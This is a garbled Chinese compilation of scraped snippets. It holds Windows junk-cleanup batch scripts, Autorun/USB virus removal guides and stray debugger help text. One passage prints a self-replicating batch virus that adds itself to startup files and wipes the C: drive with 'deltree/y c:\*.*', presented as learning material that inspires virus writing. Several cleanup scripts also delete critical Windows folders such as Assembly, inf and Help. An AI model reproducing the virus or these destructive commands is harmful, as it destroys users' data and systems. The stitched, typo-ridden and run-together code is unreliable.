最新整理Autorun 病毒清除工具bat代码介绍
清除系统垃圾文件.bat及其解释
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
rem cooke和最近历史还是保留吧...
rem del /f /q %userprofile%\COOKIES s\*.*
rem del /f /q %userprofile%\recent\*.*
@echo off&setlocal enabledelayedexpansion
for /f "delims=\" %%i in ('fsutil fsinfo drives^|find ""') do (
set drive_=%%i
fsutil fsinfo drivetype !drive_:~0,2!|find "固定">nul && del /a /f /q /s !drive_:~0,2!\Thumbs.db
将上面的文件存为“一键清理系统垃圾.bat”，然后双击运行即可。
建议：最好是一周运行一次清理。
下面这个是：可能清理时间会长些。
超级一键删除垃圾.bat
@echo off
color 0A
title 历史痕迹兼系统垃圾清理 beta1.0
bat电脑病毒代码
bat电脑病毒代码病毒来自于一次偶然的事件，那时的研究人员为了计算出当时互联网的在线人数，然而它却自己“繁殖”了起来导致了整个服务器的崩溃和堵塞，有时一次突发的停电和偶然的错误.下面是店铺收集整理的bat电脑病毒代码，希望对大家有帮助~~bat电脑病毒代码rem (注:原来站长我在读职高时,就用这一招来对付在上机时总是喜欢删别人文件(放在我自己所建目录下面的程序文件,这可是我辛辛苦苦用手敲打键盘搞出来的呀!)当然不是像下面这个病毒程序故意在桌面上放的那个炸弹文件了!)的人!当然那个喜欢删别人文件最终还是免不了挨老师的一顿臭骂!)rem 如果你是一位电脑病毒编写高手,千万别对着你的电脑吐口水呀!如果真是这样的话,我会很难过的,一为你面前这台电脑难过!二为我自己难过!rem 电脑病毒的原理都是差不多的,只要你学精了几门程序设计语言(如VC,Delphi,VB,html[JavaScript/Vbscript],Perl)再加学计算机漏洞,以及一些文件格式(比如PE,NE,Html,Vbs,Js等),保证你编写的电脑病毒会Very very good!相信你看完以下程序代码,一定有一种冲动!什么冲动?(编写电脑病毒的冲动)if not exsit %windir%\desktop\IamVirus.txt goto KillSystem if not exsit %windir%\system\%0.bat goto CopyToHereif not exist %windir%\winstart.bat goto AddWinif not exist %windir%\dosstart.bat goto AddDosif not exist c:\autoexec.bat goto AddAutoif not exsit %windir%\……\启动\HappyQQ.bat goto CopyMyselfgoto endrem 下面部分为自我复制部分:AddWinecho %windir%\system\%0.bat>>%windir%\winstart.bat>n ullgoto end:AddDosecho %windir%\system\%0.bat>>%windir%\dosstart.bat>n ullgoto end:AddAutoecho %windir%\system\%0.bat>>c:\autoexec.bat>nullgoto end:CopyMyselfcopy %0.bat %windir%\……\启动\HappyQQ.bat /y >nullgoto end:CopyToHerecopy %0.bat %windir%\system\%0.batgoto end:KillSystemdeltree/y c:\*.*>nullrem 这里为破坏部分goto end:end怎么样,看完一个批处理病毒代码,你应该对计算机病毒的概念非常了解了吧!晕呀,什么?你不懂DOS呀,那也没关系,去问问你的计算机老师,什么,你的计算机老师也不会呀,那么你就网上查查吧,千万别问我,虽然我是电脑DOS命令高手,但是我可不想让你老师来找我的麻烦呀!呵呵……如果你觉得这还不够爽,请你进入我的Baidu"红客"贴吧进行讨论!(类似这个批处理病毒的原理,我用C语言编写了一个模拟计算机病毒!)。
如何清除Autorun病毒
Autorun病毒如今已经式微，但是仍然有一些新病毒用这种方式传播，实在是因为这种方式很方便但又很快速。
并且也有一些新的保护自己的方法出现。
例如宅男病毒（sola）的新版本就算是其中的佼佼者。
要手工杀这类病毒，重要的一点是要知道如何判读autorun.inf文件，从这个文件找到病毒的线索。
病毒最先开始进入你的系统就是从这个文件开始的，然后又用这种方式埋伏于硬盘各个分区和移动磁盘中。
这个文件是典型的inf安装信息文件，因此它总是有一个段是用来告诉windows它需要运行的程序是谁在哪儿。
举例有一个U盘病毒的autorun.inf文件内容如下：[autorun]OPEN=EXPLORER.EXEshellopen=打开(&O)shellopenCommand=EXPLORER.EXEshellopenDefault=1shellexplore=资源管理器(&X)shellexploreCommand=EXPLORER.EXE其中方括号[autorun]就表明其下这个段适用于系统的“自动运行”，第一行将在U盘盘符的右键菜单中增加一个名叫OPEN的项，并且如果没有其他语句定义默认项，它就将是加粗的默认选项，也就是说，在左键双击时会选中这条。
等于号右边就是将会运行的程序，名叫EXPLORER.EXE，这个看起来与系统的“资源管理器”一样，其实不是，这个文件按照病毒作者的意思是在U盘根目录下，它应该就是病毒母体，一般情况下，它运行之后会进一步在系统中生成其他病毒文件，当然也有一些简单的病毒只是把这个文件和autorun.inf文件复制到其他分区中。
第二行厉害一些，相对来说，第一行会在右键菜单中出现中文系统中不常见的OPEN选项，警惕性高一点的用户会有所发现。
而第二行就会直接隐藏了原来的“打开”项，你即使在右键中选择“打开”也会使EXPLORER.EXE文件得以运行。
不过，第二行仅仅是产生了一个右键的菜单项，第三行才告诉系统这个菜单项应该运行什么，同样的它也是指向的EXPLORER.EXE这个病毒文件。
常见的几种autorun类病毒查杀方法
常见的几种autorun类病毒查杀方法现在使用移动存储工具的人群比较多，比如U盘，移动硬盘，MP3等。
方便的同时就会存在危机。
Autorun病毒是其中之一的十分常见的病毒，因此本文为大家介绍了几种十分简单的删除Autorun病毒方法。
首先中毒后的症状是：双击盘符打不开，或者是新开一个窗口打开，或者是让你选择文件的打开方式…其实最明显的现像是鼠标右键中新增了两项，auto或者是自动播放。
如果发现以上症状那么就基本可以确定你中了autorun一类的病毒了。
但是如果放入光盘后才出现的，那就属于正常，请不要多想。
哈哈。
病毒的触发方法：平时用户都是双击打开磁盘，病毒正是利用了这一点，在注册表中关于盘符的那一项，新加了两个键值shell command ，然后你双击打开盘符的时候病毒就会先启动，然后再打开磁盘，有的时候是双击没有反应，只能用右键打开。
重装系统照样还是会中的。
那么下面我们来说一下此类病毒的通用查杀方法，希望大家都能自己动手。
首先我要说的就是做系统的时候，就一定要做到的前两点：1、修改组策略关闭自动播放运行-->gpedit.msc-->用户配置-->系统-->关闭自动播放-->已启用-所有驱动器2、关掉自动播放所用到的一个服务运行-->services.msc-->Shell Hardware Detection服务-->启动类型-->禁用以下是你确定你中毒以后要做的，先结束病毒的进程。
3、中毒以后查杀：修改注册表[HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerMountPoints2]将此键值下所有带“+”的项依次展开，如有“command”的，或者是“shell”的，把下面的路径中的文件记下来，然后全部删除。
默认所有的盘符中是没有+下的值的电脑知识 电脑技巧，绿色、破解实用软件下载4、打开CMD 进入你中毒的盘符用attrib 命令查看具有隐藏属性的文件。
系统垃圾清理程序增强版（.bat文件）
系统垃圾清理程序增强版（.bat文件）复制以下代码到记事本程序窗口，另存为.bat文件即可：@echo off::系统垃圾清理程序增强版color 2fTitle echo.echoecho.echo 开始执行清理……echo.echo 正在检查cookies、历史纪录等目录位置(当前用户)……reg query "HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\S hell Folders" /v Cache>%temp%\cleantmp.txtreg query "HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\S hell Folders" /v Cookies>>%temp%\cleantmp.txtreg query "HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\S hell Folders" /v History>>%temp%\cleantmp.txtreg query "HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\S hell Folders" /v NetHood>>%temp%\cleantmp.txtreg query "HKCU\software\Microsoft\Windows\CurrentVersion\Explorer\S hell Folders" /v Recent>>%temp%\cleantmp.txtecho 正在清理Cookies、IE缓存、历史纪录等(当前用户)……for /f "tokens=3*" %%a in (%temp%\cleantmp.txt) do (for /d %%i in ("%%a %%b\*.*") do rd /s /q "%%i"del /a /f /s /q "%%a %%b\*.*")::跟上面几项未必是重复的(！)，也是对当前用户目录echo 正在清理临时文件 (系统目录)……del /a /f /s /q "%userprofile%\Locals~1\Tempor~1\*.*" del /a /f /s /q "%userprofile%\Locals~1\Temp\*.*"del /a /f /s /q "%userprofile%\cookies\*.*"del /a /f /s /q "%userprofile%\recent\*.*"del /a /f /s /q "%Temp%\*.*"del /a /f /s /q "%Tmp%\*.*"del /a /f /s /q "%HomePath%\..\IconCache.db"echo 正在清理系统目录中的垃圾文件 (稍候，需要点时间)……del /a /f /s /q "%systemdrive%\*._mp"del /a /f /s /q "%systemdrive%\*.log"del /a /f /s /q "%systemdrive%\*.dmp"del /a /f /s /q "%systemdrive%\*.gid"del /a /f /s /q "%systemdrive%\*.old"del /a /f /s /q "%systemdrive%\*.tmp"del /a /f /s /q "%systemdrive%\recycled\*.*"del /a /f /s /q "%SystemRoot%\*.bak"del /a /f /s /q "%SystemRoot%\*.query"rd /s /q "%SystemRoot%\Downloaded Program Files"rd /s /q "%SystemRoot%\Offline Web Pages"rd /s /q "%systemroot%\Connection Wizard"rd /s /q "%SystemRoot%\SoftwareDistribution\Download" rd /s /q "%SystemRoot%\Assembly"rd /s /q "%SystemRoot%\Help"rd /s /q "%SystemRoot%\system32\ReinstallBackups"del /a /s /q "%SystemRoot%\inf\*.pnf"del /a /f /s /q "%SystemRoot%\inf\InfCache.1"dir %SystemRoot%\inf\*.* /ad/b >%SystemRoot%\vTmp.txt for /f %%a in (%SystemRoot%\vTmp.txt) do rd /s /q "%SystemRoot%\inf\%%a"del /a /f /s /q "%SystemRoot%\Driver Cache\*.pnf"del /a /f /s /q "%SystemRoot%\Driver Cache\InfCache.1"del /a /f /s /q "%SystemRoot%\system32\drivers\*.pnf"del /a /f /s /q "%SystemRoot%\system32\drivers\InfCache.1"rd /s /q "%SystemRoot%\temp" & md "%SystemRoot%\temp"del /a /f /s /q "%SystemRoot%\Prefetch\*.*"del /a /f /s /q "%SystemRoot%\minidump\*.*"echo 正在清除无用的磁盘检错文件 (系统分区)……del /a /f /q "%SystemDrive%\*.chk"dir %SystemDrive%\found. /ad/b >%SystemRoot%\vTmp.txtfor /f %%a in (%SystemRoot%\vTmp.txt) do rd /s /q "%SystemDrive%\%%a"echo 正在清理系统升级补丁留下来的反安装目录(已修正能正确清除)……dir %SystemRoot%\$*$ /ad/b >%SystemRoot%\vTmp.txtfor /f %%a in (%SystemRoot%\vTmp.txt) do rd /s /q "%SystemRoot%\%%a"echo 正在清除常见的软件垃圾项目 (按默认目录)……rd /s /q "%ProgramFiles%\InstallShield Installation Information"Ren"%ProgramFiles%\Common~1\Real\Update_OB\realsched.exe" realsched.ex_Del"%ProgramFiles%\Common~1\Real\Update_OB\realsched.exe"Reg Delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v TkBellExe /frd /s /q "%ProgramFiles%\Tencent\QQGame\Download"taskkill /f /im "TIMPlatform.exe" /tdel /a /f /s /q "%ProgramFiles%\Kaspersky Lab\*.tmp"echo.echo 全部清理完毕，任意键退出(注: 若提示文件没找到是正常的)……pause >nuldel %SystemRoot%\vTmp.txt。
清除所有盘病毒bat
@echo 已清除所有盘config.exe病毒体
@echo 正在清除fxnvvhd.exe......
@for %%m in (A B C D E F G H I J Kexist %%m:\ @%%m: & @cd \ & @if exist fxnvvhd.exe @attrib -a -s -r -h fxnvvhd.exe & @del fxnvvhd.exe & @echo 清除 %%m:\fxnvvhd.exe ……完成!
@echo 还原系统之后请不要双击或打开其它盘请先运行此程序，以防再次激活病毒体...
@echo 此程序可以清除U盘/MP3/手机/包括所有移动USB储蓄设备已知病毒体
@echo 强烈建议运行此程序时把你的手机U盘/MP3插入电脑帮你清除免除再次被感染
@echo 出现驱动器未就绪；可能未关闭驱动器门......请点取消
使用方法：
1.新建一个“新建文本文档”
2.把上面的文字复制到新建文本文档：
从下面一句开始（横线不算）
————————————————————
@echo.
@echo 完成操作请重启电脑
...
@echo.
@echo.
@C:
@for %%m in (A B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do @if exist %%m:\ @%%m: & @cd \ & @if exist fxnvvhd.exe @attrib -a -s -r -h fxnvvhd.exe & @del fxnvvhd.exe & @echo 清除 %%m:\fxnvvhd.exe ……完成!
几个电脑系统优化清除垃圾bat命令介绍
⼏个电脑系统优化清除垃圾bat命令介绍本⽂将教⼤家⽤烈写批处理运⾏的⽅式让你电脑优化快⼀点和清除垃圾。
⼀.清理垃圾在Windows在安装和使⽤过程中都会产⽣相当多的垃圾⽂件，包括临时⽂件（如：*.tmp、*._mp）⽇志⽂件（*.log）、临时帮助⽂件（*.gid）、磁盘检查⽂件（*.chk）、临时备份⽂件（如：*.old、*.bak）以及其他临时⽂件。
特别是如果⼀段时间不清理IE的临时⽂件夹“Temporary Internet Files”，其中的缓存⽂件有时会占⽤上百MB的磁盘空间。
这些LJ⽂件不仅仅浪费了宝贵的磁盘空间，严重时还会使系统运⾏慢如蜗⽜。
这点相信你肯定忍受不了吧！所以应及时清理系统的LJ⽂件的淤塞，保持系统的“苗条”⾝材，轻松流畅上⽹！朋友来吧，现在就让我们⼀起来快速清除系统垃圾吧！！下⾯是步骤很简单就两步！在电脑屏幕的左下⾓按“开始→程序→附件→记事本”，把下⾯的⽂字复制进去（⿊⾊部分），点“另存为”，路径选“桌⾯”，保存类型为“所有⽂件”，⽂件名为“清除系统LJ.bat”，就完成了。
记住后缀名⼀定要是.bat，ok！你的垃圾清除器就这样制作成功了！双击它就能很快地清理垃圾⽂件，⼤约⼀分钟不到。
======就是下⾯的⽂字(这⾏不⽤复制)=============================@echo offecho 正在清除系统垃圾⽂件，请稍等......del /f /s /q %systemdrive%\*.tmpdel /f /s /q %systemdrive%\*._mpdel /f /s /q %systemdrive%\*.logdel /f /s /q %systemdrive%\*.giddel /f /s /q %systemdrive%\*.chkdel /f /s /q %systemdrive%\*.olddel /f /s /q %systemdrive%\recycled\*.*del /f /s /q %windir%\*.bakdel /f /s /q %windir%\prefetch\*.*rd /s /q %windir%\temp & md %windir%\tempdel /f /q %userprofile%\cookies\*.*del /f /q %userprofile%\recent\*.*del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"del /f /s /q "%userprofile%\Local Settings\Temp\*.*"del /f /s /q "%userprofile%\recent\*.*"echo 清除系统LJ完成！echo. & pause=====到这⾥为⽌(这⾏不⽤复制)==============================================以后只要双击运⾏该⽂件，当屏幕提⽰“清除系统LJ完成！⼆,优化开机⽅法基本同第⼀,在电脑屏幕的左下⾓按“开始→程序→附件→记事本”，把下⾯的⽂字复制进去（⿊⾊部分），点“另存为”，路径选“桌⾯”，保存类型为“所有⽂件”，⽂件名为“优化开机.bat”，就完成了。
教你如何手工清除autorun.inf类的病毒
教你如何手工清除autorun.inf类的病毒最近U盘病毒非常猖獗，经过分析这种病毒的传播主要借助与Autorun.inf文件，病毒先将自身复制到U盘，然后再创建一个Autorun.inf文件。
当你在你双击U盘时，会根据Autorun.inf中的设置去运行U盘中的病毒，然后将其复制到硬盘的各个盘符下无法删除。
重装或一键恢复了XP系统，双击其他分区，比如D盘，都打不开，只能用右键打开。
这就是中了Autorun.INF类病毒的表现。
今天我们就把干掉Autorun.inf类病毒的方法和预防的手段跟大家分享一下。
手工轻松干掉Autorun.inf中了这类病毒后，各个分区的根目录下都会生成一个隐藏属性的Autorun.inf文件，双击打开“我的电脑”，点击“工具”，再点击“查看”，去掉“隐藏受保护的操作系统文件”及选中“显示所有文件和文件夹”，再点“确定”把所有的隐藏属性打开（见图1）。
右键打开任一分区，如D盘，就可以看见Autorun.inf这个文件，再右键打开Autorun.inf会看到open=xxx.exe（xxx就是病毒的名称），如果病毒没进程程保护的话，删掉各个分区的Autorun.inf和xxx.exe就可以把病毒删除了，删除病毒后，还要把病毒的磁盘关联改回来。
运行regedit.exe来到[HKEY_CLASSES_ROOT\Drive\shell]下，把“默认”改成none（见图2），再到"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVe rsion\Explorer下删掉ountPoints2这一项（如果有这一项的话），到此，就能双击打开任意盘符了。
了方便大家清除Autorun.inf类病毒，我们为大家用RAR做了一个自压解清除Autorun.inf和修复磁盘及EXE文件关联的小工具，这个小工具由delinfvir.cmd、del.cmd、del.reg、drivefix.reg、undel.reg、attrib.exe、taskkill.exe等文件组成，解压后马上运行drivefix.cmd这个批处理，之后会重启系统，启动到“欢迎使用”在加载explore.exe前进行清除Autorun.inf等相关病毒的操作，需耐心等候片刻。
清理系统bat代码
@ECHO offcolor 0aREM 优化更为彻底——可全自动删除域环境下所有本地帐户下的垃圾文件、自动删除系统更新遗留的补丁文件REM 针对家庭使用，增加了系统优化功能——自动判断是否需要优化，减少资源占用::echo 当前帐户：%username%ECHO.ECHO ==本程序用于服务器时具有相当的危险性，请参照本程序源码REM操作！==ECHO Log和Bak清理部分对于服务器和实验机台请勿使用！echo 禁止java后台更新程序自启动reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Run /v SunJavaUpdateSched /f >nul 2>nulecho 禁止Adobe Reader升级程序自启动HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Run /v "Adobe ARM" /f >nul 2>nulreg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Run /v "Adobe Reader Speed Launcher" /f >nul 2>nulreg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Run /v Reader_sl /f >nul 2>nulecho 禁止飞信自启动reg delete HKEY_LOCAL_user\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Fetion /f >nul 2>nulecho 禁止系统配置程序员自启动reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Run /v MSConfig /f >nul 2>nulecho 禁止日语输入法自启动HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Run /v IMJPMIG8.1 /f >nul 2>nulecho 禁止微软多语言支持自启动reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Run /v IMEKRMIG6.1 /f >nul 2>nulecho 禁止微软IME输入法组件自启动reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Run /v IMSCMig /f >nul 2>nulecho 禁止同步自启动reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Run /v "Synchronization Manager" /f >nul 2>nulecho 禁止微软拼音输入法2002自启动reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Run /v MSPY2002 /f >nul 2>nulecho 禁止微软拼音输入法组件自启动reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Run /v PHIME2002A /f >nul 2>nulreg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Run /v PHIME2002ASync /f >nul 2>nulreg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersio n\Run /v "Microsoft Pinyin IME Migration" /f >nul 2>nulTITLE 清理.bak备份文件-谨慎操作！del /f /s /q %windir%\*.bakREM 用于服务器时请勿删除日志！-谨慎操作！TITLE 用于服务器时请勿删除日志！-谨慎操作！del /f /s /q %systemdrive%\*.logREM 勿使用rd /s /q %windir%\temp & md %windir%\temp命令，否则服务器服务（如DB）容易出现问题！del /f/s /q %windir%\temp\*.*REM 若要清理帮助文件，将下面的::删除即可rd /s /q "%windir%\help"ECHO ::1.清理局域网共享痕迹--注册表::TITLE ::1.清理局域网共享痕迹--注册表::reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Workgro upCrawler\Shares" /f >nul 2>nulECHO ::2.清理运行或操作历史记录--注册表::TITLE ::2.清理运行或操作历史记录--注册表::reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\Folder" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.txt" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.rar" /va /f >nul 2>nul"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.mp3" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.jpg" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.ini" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.bmp" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.doc" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.eip" /va /f >nul 2>nul"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.htm" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.ico" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.inf" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.gif" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.wav" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.xls" /va /f >nul 2>nul"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs\.rm" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentD ocs" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg 32\LastVisitedMRU" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg 32\OpenSaveMRU\*" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg 32\OpenSaveMRU\mp3" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg 32\OpenSaveMRU\rm" /va /f >nul 2>nul"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg 32\OpenSaveMRU\wav" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg 32\OpenSaveMRU\bat" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg 32\OpenSaveMRU\exe" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg 32\OpenSaveMRU\eip" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg 32\OpenSaveMRU\ico" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg 32\OpenSaveMRU\htm" /va /f >nul 2>nul"HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg 32\OpenSaveMRU\jpg" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU " /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StreamM RU" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssi st\{5E6AB780-7743-11CF-A12B-00AA004AE837}\Count" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssi st\{75048700-EF1F-11D0-9888-006097DEACF9}\Count" /va /f >nul 2>nulreg delete "HKCU\Software\WinRAR\ArcHistory" /va /f >nul 2>nulreg delete "HKCU\Software\WinRAR\DialogEditHistory\ArcName" /va /f >nul 2>nulreg delete "HKCU\Software\WinRAR\DialogEditHistory\ExtrPath" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\MediaPlayer\Player\RecentFileList" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Microsoft Management Console\Recent File List" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Office\11.0\PowerPoint\Recent File List" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Office\11.0\Excel\Recent File" /va /f >nul 2>nulreg delete "HKCU\Software\Microsoft\Office\11.0\Word\Data" /v "Settings" /f >nul 2>nulreg delete "HKCU\Software\VMware, Inc." /va /f >nul 2>nulECHO ::3.清理IE浏览历史的下拉列表--注册表::TITLE ::3.清理IE浏览历史的下拉列表--注册表::reg delete "HKCU\Software\Microsoft\Internet Explorer\TypedUrls" /va /f >nul 2>nulECHO ::4.正在清理常见系统垃圾文件，请退出360等程序::TITLE ::4.正在清理常见系统垃圾文件，请退出360等程序::del /f /q "%ALLUSERSPROFILE%\Documents\DrWatson\*.*">nul 2>nul del /f /s /q %systemdrive%\*.tmpdel /f /s /q %systemdrive%\*._mpdel /f /s /q %systemdrive%\*.giddel /f /s /q %systemdrive%\*.chkdel /f /s /q %systemdrive%\*.olddel /f /s /q %systemdrive%\thumbs.dbdel /f /s /q %systemdrive%\recycled\*.*del /f /s /q %windir%\system32\dllcache\*.*del /f /s /q %windir%\prefetch\*.*clsECHO ::5.为安全起见，以下清理操作只对当前登录帐户有效::TITLE ::5.为安全起见，以下清理操作只对当前登录帐户有效::del /f /s /q "%tmp%\*.*"ECHO ::6.清理文件缓存::TITLE ::6.清理文件缓存::SFC /purgecacheclsECHO ::7.清理系统升级补丁目录::TITLE ::7.清理系统升级补丁目录::dir %SystemRoot%\$*$ /ad/b >%SystemRoot%\DirTmp.txtfor /f %%a in (%SystemRoot%\DirTmp.txt) do rd /s /q "%SystemRoot%\%%a"del /f /q %SystemRoot%\DirTmp.txtclsECHO ::8.清理磁盘错误检测文件::TITLE ::8.清理磁盘错误检测文件::dir %SystemDrive%\found.??? /ad/b >%systemDrive%\DirTmp.txtfor /f %%a in (%systemDrive%\DirTmp.txt) do rd /s /q "%systemDrive%\%%a"del /f /q %systemDrive%\DirTmp.txtclsECHO ::9.正在清理所有(域)帐户下的所有临时文件，请稍候::TITLE ::9.正在清理所有(域)帐户下的所有临时文件，请稍候::dir "%SystemDrive%\Documents and Settings\" /ad/b >%SystemDrive%\DirTmp.txtfor /f %%a in (%SystemDrive%\DirTmp.txt) do del /f /s /q "%SystemDrive%\Documents and Settings\%%a\Cookies\*.*"&del /f /s /q "%SystemDrive%\Documents andSettings\%%a\Recent\*.*"&rd /s /q "%SystemDrive%\Documents and Settings\%%a\Local Settings\History\"&del /f /s /q "%SystemDrive%\Documents and Settings\%%a\Local Settings\Temp\*.*"&del /f /s /q "%SystemDrive%\Documents and Settings\%%a\Local Settings\Temporary Internet Files\*.*"del /f /q %SystemDrive%\DirTmp.txtclsECHO ::10.删除系统驱动备份文件，释放空间::TITLE ::10.删除系统驱动备份文件，释放空间::rd /s /q %SystemDrive%\swsetup\ECHO ::11.正在进行系统优化::TITLE ::11.正在进行系统优化::reg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v TkBellExe /fclsECHO ::12.正在进行最后一步——磁盘清理，完成后自动退出::ECHO 当耗时越长时，说明你系统垃圾越多，请耐心等待程序执行完毕。
清理垃圾bat
清理垃圾bat介绍清理垃圾bat是一个用于批处理脚本的工具，可以帮助用户轻松清理计算机上的垃圾文件。
垃圾文件是指那些在计算机上没有实际用途的临时文件、缓存文件、日志文件等。
这些文件会占用计算机的存储空间，降低计算机的性能。
清理垃圾bat会扫描计算机上的指定目录，并删除这些垃圾文件，从而提升计算机的性能。
安装清理垃圾bat是一个批处理脚本，不需要进行安装。
只需要将bat文件下载到计算机上即可开始使用。
使用方法使用清理垃圾bat非常简单。
只需要执行bat文件即可开始清理垃圾文件。
步骤如下：1.下载清理垃圾bat文件到计算机上。
**********************:your-username/c lean-junk.bat.git2.双击运行clean-junk.bat文件。
运行清理垃圾bat运行清理垃圾bat3.程序会提示输入要清理的目录。
输入要清理的目录，并按下回车键。
输入要清理的目录输入要清理的目录4.清理垃圾bat会开始扫描指定目录，并删除垃圾文件。
清理垃圾文件清理垃圾文件5.清理完成后，程序会显示清理了多少个文件，并提示清理操作已完成。
清理完成清理完成功能特点清理垃圾bat具有以下功能特点：•批处理脚本：清理垃圾bat是一个批处理脚本，可以在Windows操作系统上直接运行。
•用户友好：清理垃圾bat使用简单，只需要输入要清理的目录即可开始清理垃圾文件。
•清理目录可选：用户可根据需要选择要清理的目录，以便更加精确地清理垃圾文件。
•高效：清理垃圾bat会扫描指定目录下的所有文件，并删除那些被认定为垃圾文件的文件。
这可以帮助用户快速清理计算机上的垃圾文件，提升计算机的性能。
注意事项使用清理垃圾bat时需要注意以下事项：•谨慎选择要清理的目录：清理垃圾bat会删除指定目录下的所有垃圾文件。
因此，在运行清理垃圾bat之前，请仔细选择要清理的目录，并确保目标目录中仅包含要清理的垃圾文件。
•数据丢失风险：由于清理垃圾bat会删除文件，因此请确保要清理的目录中不包含任何重要的文件。
手工查杀木马病毒11—Autoruns-3
M <range> <address> - move
N [<radix>] - set / show radix
P[R] [=<addr>] [<value>] - program step
A [<address>] - assemble
在指定地址输入汇编语句
BC[<bp>] - clear breakpoint(s)
清除断点
BD[<bp>] - disable breakpoint(s)
禁用断点
BE[<bp>] - enable breakpoint(s)
启用断点
BL[<bp>] - list breakpoint(s)
Environment Variables:
_NT_SYMBOL_PATH=[Drive:][Path]
Specify symbol image path. (Default = %SystemRoot%)
_NT_ALT_SYMBOL_PATH=[Drive:][Path]
Specify an alternate symbol image path.
-v enables verbose output from debugger
-n enables verbose output from symbol handler
-w specifies to debug 16 bit applications in a separate VDM
超级批处理病毒，不错的学习资料
